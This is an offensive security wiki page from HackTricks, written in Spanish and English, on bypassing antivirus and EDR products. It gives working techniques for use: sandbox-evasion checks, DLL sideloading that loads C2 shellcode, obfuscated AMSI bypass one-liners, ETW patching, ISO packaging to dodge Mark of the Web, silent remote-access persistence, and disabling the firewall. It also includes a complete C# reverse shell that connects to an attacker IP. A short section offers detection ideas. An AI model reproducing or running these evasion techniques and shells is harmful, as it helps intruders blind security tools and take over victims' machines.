Antivirus (AV) Bypass

Reading time: 40 minutes

tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Esta página fue escrita por @m2rc_p!

Detener Defender

AV Evasion Methodology

Actualmente, los AVs usan diferentes métodos para comprobar si un archivo es malicioso o no: static detection, dynamic analysis, y, para los EDRs más avanzados, behavioural analysis.

Static detection

Static detection se logra marcando cadenas conocidas maliciosas o arrays de bytes en un binario o script, y también extrayendo información del propio archivo (p. ej. file description, company name, digital signatures, icon, checksum, etc.). Esto significa que usar herramientas públicas conocidas puede hacer que te detecten más fácilmente, ya que probablemente ya hayan sido analizadas y marcadas como maliciosas. Hay un par de maneras de evitar este tipo de detección:

  • Encryption

Si cifras el binario, no habrá forma de que el AV detecte tu programa, pero necesitarás algún tipo de loader para descifrarlo y ejecutar el programa en memoria.

  • Obfuscation

A veces todo lo que necesitas es cambiar algunas cadenas en tu binario o script para pasar el AV, pero esto puede ser una tarea que consume tiempo dependiendo de lo que intentes ofuscar.

  • Custom tooling

Si desarrollas tus propias herramientas, no habrá firmas maliciosas conocidas, pero esto requiere mucho tiempo y esfuerzo.

tip

A good way for checking against Windows Defender static detection is ThreatCheck. It basically splits the file into multiple segments and then tasks Defender to scan each one individually, this way, it can tell you exactly what are the flagged strings or bytes in your binary.

Te recomiendo encarecidamente que revises esta YouTube playlist sobre AV Evasion práctica.

Dynamic analysis

Dynamic analysis es cuando el AV ejecuta tu binario en un sandbox y vigila la actividad maliciosa (p. ej., intentar descifrar y leer las contraseñas del navegador, realizar un minidump en LSASS, etc.). Esta parte puede ser un poco más complicada, pero aquí tienes algunas cosas que puedes hacer para evadir sandboxes.

  • Sleep before execution Dependiendo de cómo esté implementado, puede ser una gran forma de bypass del dynamic analysis de los AV. Los AVs tienen muy poco tiempo para escanear archivos para no interrumpir el flujo de trabajo del usuario, así que usar sleeps largos puede entorpecer el análisis de los binarios. El problema es que muchos sandboxes de AV pueden simplemente saltarse el sleep dependiendo de cómo esté implementado.
  • Checking machine's resources Usualmente los Sandboxes tienen muy pocos recursos (p. ej. < 2GB RAM), de lo contrario podrían ralentizar la máquina del usuario. También puedes ser creativo aquí, por ejemplo comprobando la temperatura del CPU o incluso las velocidades del ventilador; no todo estará implementado en el sandbox.
  • Machine-specific checks Si quieres apuntar a un usuario cuya estación de trabajo está unida al dominio "contoso.local", puedes comprobar el dominio del equipo para ver si coincide con el especificado; si no coincide, puedes hacer que tu programa salga.

Resulta que el computername del Sandbox de Microsoft Defender es HAL9TH, así que puedes comprobar el nombre del equipo en tu malware antes de la detonación; si el nombre coincide con HAL9TH, significa que estás dentro del sandbox de Defender, por lo que puedes hacer que tu programa salga.

fuente: https://youtu.be/StSLxFbVz0M?t=1439

Algunos otros consejos muy buenos de @mgeeky para enfrentarse a los Sandboxes

Red Team VX Discord canal #malware-dev

Como hemos dicho antes en este post, las herramientas públicas eventualmente serán detectadas, así que deberías hacerte una pregunta:

Por ejemplo, si quieres dump LSASS, ¿realmente necesitas usar mimikatz? ¿O podrías usar otro proyecto menos conocido que también haga el dump de LSASS?

La respuesta correcta probablemente sea la segunda. Tomando mimikatz como ejemplo, es probablemente uno de, si no el más, marcado por AVs y EDRs; aunque el proyecto en sí es genial, también es una pesadilla trabajar con él para evadir AVs, así que busca alternativas para lo que intentas lograr.

tip

Al modificar tus payloads para evasión, asegúrate de desactivar el envío automático de muestras en Defender, y por favor, seriamente, NO SUBAS A VIRUSTOTAL si tu objetivo es lograr evasión a largo plazo. Si quieres comprobar si tu payload es detectado por un AV en particular, instálalo en una VM, intenta desactivar el envío automático de muestras y pruébalo allí hasta que estés satisfecho con el resultado.

EXEs vs DLLs

Siempre que sea posible, prioriza usar DLLs para evasión; en mi experiencia, los archivos DLL suelen ser mucho menos detectados y analizados, así que es un truco muy simple para evitar detección en algunos casos (si tu payload tiene alguna forma de ejecutarse como una DLL, por supuesto).

Como se puede ver en esta imagen, un DLL Payload de Havoc tiene una tasa de detección de 4/26 en antiscan.me, mientras que el EXE payload tiene una tasa de detección de 7/26.

antiscan.me comparison of a normal Havoc EXE payload vs a normal Havoc DLL

Ahora mostraremos algunos trucos que puedes usar con archivos DLL para ser mucho más sigiloso.

DLL Sideloading & Proxying

DLL Sideloading aprovecha el orden de búsqueda de DLL usado por el loader posicionando tanto la aplicación víctima como el/los payload(s) maliciosos uno junto al otro.

Puedes buscar programas susceptibles a DLL Sideloading usando Siofra y el siguiente powershell script:

bash
Get-ChildItem -Path "C:\Program Files\" -Filter *.exe -Recurse -File -Name| ForEach-Object {
$binarytoCheck = "C:\Program Files\" + $_
C:\Users\user\Desktop\Siofra64.exe --mode file-scan --enum-dependency --dll-hijack -f $binarytoCheck
}

Este comando mostrará la lista de programas susceptibles a DLL hijacking dentro de "C:\Program Files\" y los archivos DLL que intentan cargar.

Te recomiendo encarecidamente que explore DLL Hijackable/Sideloadable programs yourself, esta técnica es bastante sigilosa si se hace correctamente, pero si usas programas DLL Sideloadable públicamente conocidos, podrías ser descubierto fácilmente.

El simple hecho de colocar un malicious DLL con el nombre que un programa espera cargar no hará que se ejecute tu payload, ya que el programa espera funciones específicas dentro de ese DLL; para solucionar esto, usaremos otra técnica llamada DLL Proxying/Forwarding.

DLL Proxying reenvía las llamadas que hace un programa desde el proxy (and malicious) DLL al DLL original, preservando así la funcionalidad del programa y permitiendo manejar la ejecución de tu payload.

Usaré el proyecto SharpDLLProxy de @flangvik

Estos son los pasos que seguí:

1. Find an application vulnerable to DLL Sideloading (siofra or using Process Hacker)
2. Generate some shellcode (I used Havoc C2)
3. (Optional) Encode your shellcode using Shikata Ga Nai (https://github.com/EgeBalci/sgn)
4. Use SharpDLLProxy to create the proxy dll (.\SharpDllProxy.exe --dll .\mimeTools.dll --payload .\demon.bin)

El último comando nos dará 2 archivos: una plantilla de código fuente DLL y la DLL original renombrada.

``` 5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL. ``` These are the results:

Tanto nuestro shellcode (codificado con SGN) como el proxy DLL tienen una tasa de detección 0/26 en antiscan.me! Lo llamaría un éxito.

tip

Te recomiendo encarecidamente ver S3cur3Th1sSh1t's twitch VOD sobre DLL Sideloading y también el video de ippsec para profundizar en lo que hemos discutido.

Abuso de Forwarded Exports (ForwardSideLoading)

Los módulos Windows PE pueden exportar funciones que en realidad son "forwarders": en lugar de apuntar a código, la entrada de exportación contiene una cadena ASCII de la forma TargetDll.TargetFunc. Cuando un llamador resuelve la exportación, el cargador de Windows hará:

  • Cargará TargetDll si no está ya cargado
  • Resolverá TargetFunc desde él

Comportamientos clave a tener en cuenta:

  • Si TargetDll es un KnownDLL, se suministra desde el espacio de nombres protegido KnownDLLs (p. ej., ntdll, kernelbase, ole32).
  • Si TargetDll no es un KnownDLL, se usa el orden normal de búsqueda de DLLs, que incluye el directorio del módulo que está realizando la resolución del forward.

Esto habilita una primitiva de sideloading indirecto: encuentra un DLL firmado que exporte una función reenviada a un nombre de módulo que no sea KnownDLL, y coloca junto a ese DLL firmado un DLL controlado por el atacante con exactamente el mismo nombre que el módulo objetivo reenviado. Cuando se invoca la exportación reenviada, el cargador resuelve el forward y carga tu DLL desde el mismo directorio, ejecutando tu DllMain.

Ejemplo observado en Windows 11:

keyiso.dll KeyIsoSetAuditingInterface -> NCRYPTPROV.SetAuditingInterface

NCRYPTPROV.dll no es un KnownDLL, por lo que se resuelve mediante el orden de búsqueda normal.

PoC (copy-paste):

  1. Copiar la DLL del sistema firmada en una carpeta escribible
copy C:\Windows\System32\keyiso.dll C:\test\
  1. Coloca un NCRYPTPROV.dll malicioso en la misma carpeta. Un DllMain mínimo es suficiente para obtener ejecución de código; no necesitas implementar la función reenviada para activar DllMain.
c
// x64: x86_64-w64-mingw32-gcc -shared -o NCRYPTPROV.dll ncryptprov.c
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinst, DWORD reason, LPVOID reserved){
if (reason == DLL_PROCESS_ATTACH){
HANDLE h = CreateFileA("C\\\\test\\\\DLLMain_64_DLL_PROCESS_ATTACH.txt", GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if(h!=INVALID_HANDLE_VALUE){ const char *m = "hello"; DWORD w; WriteFile(h,m,5,&w,NULL); CloseHandle(h);}
}
return TRUE;
}
  1. Disparar el reenvío con un LOLBin firmado:
rundll32.exe C:\test\keyiso.dll, KeyIsoSetAuditingInterface

Comportamiento observado:

  • rundll32 (firmado) carga la side-by-side keyiso.dll (firmada)
  • Mientras resuelve KeyIsoSetAuditingInterface, el cargador sigue el forward a NCRYPTPROV.SetAuditingInterface
  • Luego el cargador carga NCRYPTPROV.dll desde C:\test y ejecuta su DllMain
  • Si SetAuditingInterface no está implementada, obtendrás un error de "missing API" solo después de que DllMain ya se haya ejecutado

Consejos de búsqueda:

  • Enfócate en forwarded exports donde el módulo objetivo no es un KnownDLL. KnownDLLs están listados bajo HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs.
  • Puedes enumerar forwarded exports con herramientas como:
dumpbin /exports C:\Windows\System32\keyiso.dll
# forwarders appear with a forwarder string e.g., NCRYPTPROV.SetAuditingInterface
  • Consulta el inventario de forwarders de Windows 11 para buscar candidatos: https://hexacorn.com/d/apis_fwd.txt

Ideas de detección/defensa:

  • Monitor LOLBins (p. ej., rundll32.exe) cargando DLLs firmadas desde rutas no del sistema, seguidas de la carga de non-KnownDLLs con el mismo nombre base desde ese directorio
  • Alertar sobre cadenas de procesos/módulos como: rundll32.exe → non-system keyiso.dllNCRYPTPROV.dll en rutas escribibles por el usuario
  • Aplicar políticas de integridad de código (WDAC/AppLocker) y denegar write+execute en los directorios de aplicaciones

Freeze

Freeze is a payload toolkit for bypassing EDRs using suspended processes, direct syscalls, and alternative execution methods

Puedes usar Freeze para cargar y ejecutar tu shellcode de manera sigilosa.

Git clone the Freeze repo and build it (git clone https://github.com/optiv/Freeze.git && cd Freeze && go build Freeze.go)
1. Generate some shellcode, in this case I used Havoc C2.
2. ./Freeze -I demon.bin -encrypt -O demon.exe
3. Profit, no alerts from defender

tip

La evasión es solo un juego del gato y el ratón; lo que funciona hoy podría detectarse mañana, así que nunca confíes en una sola herramienta; si es posible, intenta encadenar múltiples técnicas de evasión.

AMSI (Anti-Malware Scan Interface)

AMSI fue creado para prevenir "fileless malware". Inicialmente, los AVs solo eran capaces de escanear archivos en disco, así que si de alguna manera podías ejecutar payloads directamente in-memory, el AV no podía hacer nada para evitarlo, ya que no tenía suficiente visibilidad.

La funcionalidad AMSI está integrada en estos componentes de Windows.

  • User Account Control, or UAC (elevación de EXE, COM, MSI, o instalación de ActiveX)
  • PowerShell (scripts, uso interactivo y evaluación dinámica de código)
  • Windows Script Host (wscript.exe y cscript.exe)
  • JavaScript y VBScript
  • Office VBA macros

Permite que las soluciones antivirus inspeccionen el comportamiento de scripts exponiendo el contenido del script en una forma que no está cifrada ni ofuscada.

Ejecutar IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1') producirá la siguiente alerta en Windows Defender.

Fíjate cómo antepone amsi: y luego la ruta al ejecutable desde el que se ejecutó el script; en este caso, powershell.exe

No dejamos ningún archivo en disco, pero aún así nos detectaron in-memory debido a AMSI.

Además, a partir de .NET 4.8, el código C# también pasa por AMSI. Esto incluso afecta a Assembly.Load(byte[]) para la ejecución in-memory. Por eso se recomienda usar versiones más antiguas de .NET (como 4.7.2 o inferiores) para ejecución in-memory si quieres evadir AMSI.

Hay un par de maneras de evitar AMSI:

  • Obfuscation

Dado que AMSI funciona principalmente con detecciones estáticas, modificar los scripts que intentas cargar puede ser una buena forma de evadir la detección.

Sin embargo, AMSI tiene la capacidad de desofuscar scripts incluso si tienen múltiples capas, por lo que la obfuscación podría ser una mala opción dependiendo de cómo se haga. Esto hace que no sea tan directo evadirlo. Aunque, a veces, todo lo que necesitas hacer es cambiar un par de nombres de variables y ya estarás bien, así que depende de cuánto haya sido marcado algo.

  • AMSI Bypass

Puesto que AMSI se implementa cargando una DLL en el proceso de powershell (también cscript.exe, wscript.exe, etc.), es posible manipularla fácilmente incluso ejecutando como un usuario sin privilegios. Debido a este fallo en la implementación de AMSI, los investigadores han encontrado múltiples formas de evadir el escaneo de AMSI.

Forcing an Error

Forzar que la inicialización de AMSI falle (amsiInitFailed) hará que no se inicie ningún escaneo para el proceso actual. Originalmente esto fue divulgado por Matt Graeber y Microsoft ha desarrollado una firma para prevenir un uso más amplio.

bash
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)

Todo lo que hizo falta fue una línea de código de powershell para dejar AMSI inservible para el proceso actual de powershell. Esta línea, por supuesto, ha sido marcada por AMSI, así que se necesita alguna modificación para poder usar esta técnica.

Aquí hay un bypass de AMSI modificado que tomé de este Github Gist.

bash
Try{#Ams1 bypass technic nº 2
$Xdatabase = 'Utils';$Homedrive = 'si'
$ComponentDeviceId = "N`onP" + "ubl`ic" -join ''
$DiskMgr = 'Syst+@.M£n£g' + 'e@+nt.Auto@' + '£tion.A' -join ''
$fdx = '@ms' + '£In£' + 'tF@£' + 'l+d' -Join '';Start-Sleep -Milliseconds 300
$CleanUp = $DiskMgr.Replace('@','m').Replace('£','a').Replace('+','e')
$Rawdata = $fdx.Replace('@','a').Replace('£','i').Replace('+','e')
$SDcleanup = [Ref].Assembly.GetType(('{0}m{1}{2}' -f $CleanUp,$Homedrive,$Xdatabase))
$Spotfix = $SDcleanup.GetField($Rawdata,"$ComponentDeviceId,Static")
$Spotfix.SetValue($null,$true)
}Catch{Throw $_}

Tenga en cuenta que esto probablemente será detectado una vez que se publique este post, por lo que no debería publicar ningún código si su plan es permanecer sin ser detectado.

Memory Patching

Esta técnica fue inicialmente descubierta por @RastaMouse y consiste en encontrar la dirección de la función "AmsiScanBuffer" en amsi.dll (responsable de escanear la entrada proporcionada por el usuario) y sobrescribirla con instrucciones que devuelven el código E_INVALIDARG; de este modo, el resultado del escaneo real devolverá 0, que se interpreta como un resultado limpio.

tip

Por favor lea https://rastamouse.me/memory-patching-amsi-bypass/ para una explicación más detallada.

There are also many other techniques used to bypass AMSI with powershell, check out this page and this repo to learn more about them.

Esta herramienta https://github.com/Flangvik/AMSI.fail también genera scripts para bypass AMSI.

Eliminar la firma detectada

Puedes usar una herramienta como https://github.com/cobbr/PSAmsi y https://github.com/RythmStick/AMSITrigger para eliminar la firma AMSI detectada de la memoria del proceso actual. Esta herramienta funciona escaneando la memoria del proceso actual en busca de la firma AMSI y luego sobrescribiéndola con instrucciones NOP, eliminándola efectivamente de la memoria.

Productos AV/EDR que usan AMSI

Puedes encontrar una lista de productos AV/EDR que usan AMSI en https://github.com/subat0mik/whoamsi.

Use Powershell version 2 Si usas PowerShell versión 2, AMSI no se cargará, por lo que puedes ejecutar tus scripts sin ser escaneados por AMSI. Puedes hacer esto:

bash
powershell.exe -version 2

Registro de PowerShell

PowerShell logging es una función que permite registrar todos los comandos de PowerShell ejecutados en un sistema. Esto puede ser útil para auditoría y solución de problemas, pero también puede ser un problema para los atacantes que quieren evadir la detección.

Para eludir el registro de PowerShell, puedes usar las siguientes técnicas:

Ofuscación

tip

Varias técnicas de ofuscación dependen de cifrar datos, lo que incrementará la entropía del binario y facilitará que los AVs y EDRs lo detecten. Ten cuidado con esto y quizá aplica cifrado solo a secciones específicas de tu código que sean sensibles o que necesiten ocultarse.

Desofuscando binarios .NET protegidos con ConfuserEx

Al analizar malware que usa ConfuserEx 2 (o forks comerciales) es común enfrentar varias capas de protección que bloquearán descompiladores y sandboxes. El flujo de trabajo siguiente restaura de forma fiable un IL casi original que posteriormente puede descompilarse a C# con herramientas como dnSpy o ILSpy.

  1. Eliminación de anti-tamper – ConfuserEx encripta cada method body y lo desencripta dentro del constructor estático del module (<Module>.cctor). Esto también parchea el checksum del PE por lo que cualquier modificación hará que el binario falle. Usa AntiTamperKiller para localizar las tablas de metadata encriptadas, recuperar las claves XOR y reescribir un ensamblado limpio:
bash
# https://github.com/wwh1004/AntiTamperKiller
python AntiTamperKiller.py Confused.exe Confused.clean.exe

La salida contiene los 6 parámetros anti-tamper (key0-key3, nameHash, internKey) que pueden ser útiles al construir tu propio unpacker.

  1. Recuperación de símbolos / control-flow – alimenta el archivo clean a de4dot-cex (un fork de de4dot consciente de ConfuserEx).
bash
de4dot-cex -p crx Confused.clean.exe -o Confused.de4dot.exe

Opciones: • -p crx – seleccionar el perfil ConfuserEx 2
• de4dot deshará el control-flow flattening, restaurará los namespaces, classes y nombres de variables originales y desencriptará las cadenas constantes.

  1. Eliminación de proxy-calls – ConfuserEx reemplaza llamadas directas a métodos con wrappers ligeros (a.k.a proxy calls) para dificultar aún más la descompilación. Elimínalos con ProxyCall-Remover:
bash
ProxyCall-Remover.exe Confused.de4dot.exe Confused.fixed.exe

Tras este paso deberías observar APIs normales de .NET como Convert.FromBase64String o AES.Create() en lugar de funciones wrapper opacas (Class8.smethod_10, …).

  1. Limpieza manual – ejecuta el binario resultante en dnSpy, busca grandes blobs Base64 o uso de RijndaelManaged/TripleDESCryptoServiceProvider para localizar el payload real. A menudo el malware lo almacena como un arreglo de bytes codificado TLV inicializado dentro de <Module>.byte_0.

La cadena anterior restaura el flujo de ejecución sin necesitar ejecutar la muestra maliciosa – útil cuando trabajas en una estación desconectada.

🛈 ConfuserEx produce un atributo personalizado llamado ConfusedByAttribute que puede usarse como IOC para triage automático de muestras.

One-liner

bash
autotok.sh Confused.exe  # wrapper that performs the 3 steps above sequentially

  • InvisibilityCloak: C# obfuscator
  • Obfuscator-LLVM: El objetivo de este proyecto es proporcionar un fork de código abierto de la suite de compilación LLVM capaz de aumentar la seguridad del software mediante code obfuscation y protección contra manipulación.
  • ADVobfuscator: ADVobfuscator demuestra cómo usar el lenguaje C++11/14 para generar, en tiempo de compilación, código ofuscado sin usar ninguna herramienta externa y sin modificar el compilador.
  • obfy: Añade una capa de operaciones ofuscadas generadas por el framework de metaprogramación de templates de C++, lo que hará la vida de la persona que quiera crackear la aplicación un poco más difícil.
  • Alcatraz: Alcatraz es un obfuscator binario x64 capaz de ofuscar varios tipos de archivos pe incluyendo: .exe, .dll, .sys
  • metame: Metame es un motor simple de código metamórfico para ejecutables arbitrarios.
  • ropfuscator: ROPfuscator es un framework de ofuscación de código fino para lenguajes soportados por LLVM que utiliza ROP (return-oriented programming). ROPfuscator ofusca un programa a nivel de código ensamblador transformando instrucciones normales en cadenas ROP, frustrando nuestra concepción natural del flujo de control normal.
  • Nimcrypt: Nimcrypt es un .NET PE Crypter escrito en Nim
  • inceptor: Inceptor es capaz de convertir EXE/DLL existentes en shellcode y luego cargarlos

SmartScreen & MoTW

Puede que hayas visto esta pantalla al descargar algunos ejecutables desde internet y ejecutarlos.

Microsoft Defender SmartScreen es un mecanismo de seguridad diseñado para proteger al usuario final contra la ejecución de aplicaciones potencialmente maliciosas.

SmartScreen funciona principalmente con un enfoque basado en reputación, lo que significa que las aplicaciones descargadas de forma poco común activarán SmartScreen, alertando e impidiendo que el usuario final ejecute el archivo (aunque el archivo todavía puede ejecutarse haciendo clic en More Info -> Run anyway).

MoTW (Mark of The Web) es un NTFS Alternate Data Stream con el nombre Zone.Identifier que se crea automáticamente al descargar archivos desde internet, junto con la URL desde la que se descargó.

Checking the Zone.Identifier ADS for a file downloaded from the internet.

tip

Es importante destacar que los ejecutables firmados con un certificado de firma confiable no activarán SmartScreen.

Una forma muy efectiva de evitar que tus payloads reciban el Mark of The Web es empaquetarlos dentro de algún tipo de contenedor como un ISO. Esto ocurre porque Mark-of-the-Web (MOTW) no puede aplicarse a volúmenes no NTFS.

PackMyPayload es una herramienta que empaqueta payloads en contenedores de salida para evadir Mark-of-the-Web.

Example usage:

bash
PS C:\Tools\PackMyPayload> python .\PackMyPayload.py .\TotallyLegitApp.exe container.iso

+      o     +              o   +      o     +              o
+             o     +           +             o     +         +
o  +           +        +           o  +           +          o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------,      o
:: PACK MY PAYLOAD (1.1.0)       -_-_-_-_-_-_-|   /\_/\
for all your container cravings   -_-_-_-_-_-~|__( ^ .^)  +    +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-''  ''
+      o         o   +       o       +      o         o   +       o
+      o            +      o    ~   Mariusz Banach / mgeeky    o
o      ~     +           ~          <mb [at] binary-offensive.com>
o           +                         o           +           +

[.] Packaging input file to output .iso (iso)...
Burning file onto ISO:
Adding file: /TotallyLegitApp.exe

[+] Generated file written to (size: 3420160): container.iso

Here is a demo for bypassing SmartScreen by packaging payloads inside ISO files using PackMyPayload

ETW

Event Tracing for Windows (ETW) es un potente mecanismo de registro en Windows que permite a las aplicaciones y componentes del sistema registrar eventos. Sin embargo, también puede ser usado por productos de seguridad para monitorizar y detectar actividades maliciosas.

Similar to how AMSI is disabled (bypassed) it's also possible to make the EtwEventWrite function of the user space process return immediately without logging any events. Esto se hace parcheando la función en memoria para que devuelva inmediatamente, deshabilitando efectivamente el registro ETW para ese proceso.

Puedes encontrar más información en https://blog.xpnsec.com/hiding-your-dotnet-etw/ and https://github.com/repnz/etw-providers-docs/.

C# Assembly Reflection

Loading C# binaries in memory has been known for quite some time and it's still a very great way for running your post-exploitation tools without getting caught by AV.

Since the payload will get loaded directly into memory without touching disk, we will only have to worry about patching AMSI for the whole process.

Most C2 frameworks (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) already provide the ability to execute C# assemblies directly in memory, but there are different ways of doing so:

  • Fork&Run

It involves spawning a new sacrificial process, inject your post-exploitation malicious code into that new process, execute your malicious code and when finished, kill the new process. Esto tiene tanto ventajas como desventajas. La ventaja del método fork and run es que la ejecución ocurre fuera de nuestro Beacon implant process. Esto significa que si algo en nuestra acción post-explotación sale mal o es detectado, hay una muchísima más probabilidad de que nuestro implant sobreviva. La desventaja es que tienes una mayor probabilidad de ser detectado por Behavioural Detections.

  • Inline

Consiste en inyectar el código malicioso de post-explotación en su propio proceso. De este modo, puedes evitar crear un nuevo proceso y que este sea escaneado por AV, pero la desventaja es que si algo sale mal con la ejecución de tu payload, hay una muchísima más probabilidad de perder tu beacon ya que podría colapsar.

tip

Si quieres leer más sobre C# Assembly loading, revisa este artículo https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/ y su InlineExecute-Assembly BOF (https://github.com/xforcered/InlineExecute-Assembly)

You can also load C# Assemblies from PowerShell, mira Invoke-SharpLoader y el video de S3cur3th1sSh1t (https://www.youtube.com/watch?v=oe11Q-3Akuk).

Using Other Programming Languages

As proposed in https://github.com/deeexcee-io/LOI-Bins, es posible ejecutar código malicioso usando otros lenguajes dando a la máquina comprometida acceso al entorno del intérprete instalado en la compartición SMB controlada por el atacante.

Al permitir el acceso a los Interpreter Binaries y al entorno en la SMB share puedes ejecutar código arbitrario en estos lenguajes en memoria de la máquina comprometida.

El repo indica: Defender aún escanea los scripts, pero al utilizar Go, Java, PHP, etc. tenemos más flexibilidad para bypass static signatures. Las pruebas con shells reversos aleatorios no ofuscados en estos lenguajes han resultado exitosas.

TokenStomping

Token stomping es una técnica que permite a un atacante manipular el access token o un security producto como un EDR o AV, permitiéndole reducir sus privilegios para que el proceso no muera pero no tenga permisos para comprobar actividades maliciosas.

Para prevenir esto, Windows podría evitar que procesos externos obtengan handles sobre los tokens de los procesos de seguridad.

Using Trusted Software

Chrome Remote Desktop

As described in this blog post, es sencillo desplegar Chrome Remote Desktop en el PC de una víctima y luego usarlo para tomar el control y mantener persistencia:

  1. Download from https://remotedesktop.google.com/, haz clic en "Set up via SSH", y luego haz clic en el archivo MSI para Windows para descargarlo.
  2. Run the installer silently in the victim (admin required): msiexec /i chromeremotedesktophost.msi /qn
  3. Vuelve a la página de Chrome Remote Desktop y haz clic en next. El asistente te pedirá autorizar; haz clic en el botón Authorize para continuar.
  4. Ejecuta el parámetro dado con algunos ajustes: "%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111 (Nota el parámetro pin que permite establecer el pin sin usar la GUI).

Advanced Evasion

Evasion es un tema muy complicado; a veces tienes que tener en cuenta muchas fuentes de telemetría diferentes en un mismo sistema, así que es prácticamente imposible permanecer completamente indetectado en entornos maduros.

Cada entorno contra el que te enfrentes tendrá sus propias fortalezas y debilidades.

Te recomiendo ver esta charla de @ATTL4S, para obtener una introducción a técnicas más avanzadas de evasión.

[NcN2k20] Understanding and Hiding your Operations - Daniel L&oacute;pez Jim&eacute;nez

Esta es también otra gran charla de @mariuszbit sobre Evasion in Depth.

- YouTube

Old Techniques

Check which parts Defender finds as malicious

Puedes usar ThreatCheck que eliminará partes del binario hasta que determine qué parte Defender considera maliciosa y te la separe.
Otra herramienta que hace lo mismo es avred con una web abierta que ofrece el servicio en https://avred.r00ted.ch/

Telnet Server

Until Windows10, all Windows came with a Telnet server that you could install (as administrator) doing:

bash
pkgmgr /iu:"TelnetServer" /quiet

Haz que se inicie al arrancar el sistema y ejecútalo ahora:

bash
sc config TlntSVR start= auto obj= localsystem

Cambiar el puerto de telnet (sigiloso) y desactivar el firewall:

tlntadmn config port=80
netsh advfirewall set allprofiles state off

UltraVNC

Descárgalo desde: http://www.uvnc.com/downloads/ultravnc.html (quieres las descargas bin, no el setup)

EN EL HOST: Ejecuta winvnc.exe y configura el servidor:

  • Habilita la opción Disable TrayIcon
  • Establece una contraseña en VNC Password
  • Establece una contraseña en View-Only Password

Luego, mueve el binario winvnc.exe y el archivo recién creado UltraVNC.ini dentro de la victim

Reverse connection

El attacker debe ejecutar en su host el binario vncviewer.exe -listen 5900 para que esté preparado para atrapar una reverse VNC connection. Luego, dentro de la victim: inicia el daemon winvnc winvnc.exe -run y ejecuta winwnc.exe [-autoreconnect] -connect <attacker_ip>::5900

ADVERTENCIA: Para mantener el sigilo no debes hacer algunas cosas

  • No inicies winvnc si ya está en ejecución o provocarás un popup. Comprueba si está en ejecución con tasklist | findstr winvnc
  • No inicies winvnc sin UltraVNC.ini en el mismo directorio o provocará que se abra la ventana de configuración
  • No ejecutes winvnc -h para ayuda o provocarás un popup

GreatSCT

Descárgalo desde: https://github.com/GreatSCT/GreatSCT

git clone https://github.com/GreatSCT/GreatSCT.git
cd GreatSCT/setup/
./setup.sh
cd ..
./GreatSCT.py

Dentro de GreatSCT:

use 1
list #Listing available payloads
use 9 #rev_tcp.py
set lhost 10.10.14.0
sel lport 4444
generate #payload is the default name
#This will generate a meterpreter xml and a rcc file for msfconsole

Ahora inicia el lister con msfconsole -r file.rc y ejecuta la xml payload con:

C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe payload.xml

El Defender actual terminará el proceso muy rápido.

Compilando nuestro propio reverse shell

https://medium.com/@Bank_Security/undetectable-c-c-reverse-shells-fab4c0ec4f15

First C# Revershell

Compilarlo con:

c:\windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /t:exe /out:back2.exe C:\Users\Public\Documents\Back1.cs.txt

Úsalo con:

back.exe <ATTACKER_IP> <PORT>
csharp
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;


namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;

public static void Main(string[] args)
{
using(TcpClient client = new TcpClient(args[0], System.Convert.ToInt32(args[1])))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);

StringBuilder strInput = new StringBuilder();

Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();

while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}

private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();

if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}

}
}

C# usando el compilador

C:\Windows\Microsoft.NET\Framework\v4.0.30319\Microsoft.Workflow.Compiler.exe REV.txt.txt REV.shell.txt

REV.txt: https://gist.github.com/BankSecurity/812060a13e57c815abe21ef04857b066

REV.shell: https://gist.github.com/BankSecurity/f646cb07f2708b2b3eabea21e05a2639

Descarga y ejecución automática:

csharp
64bit:
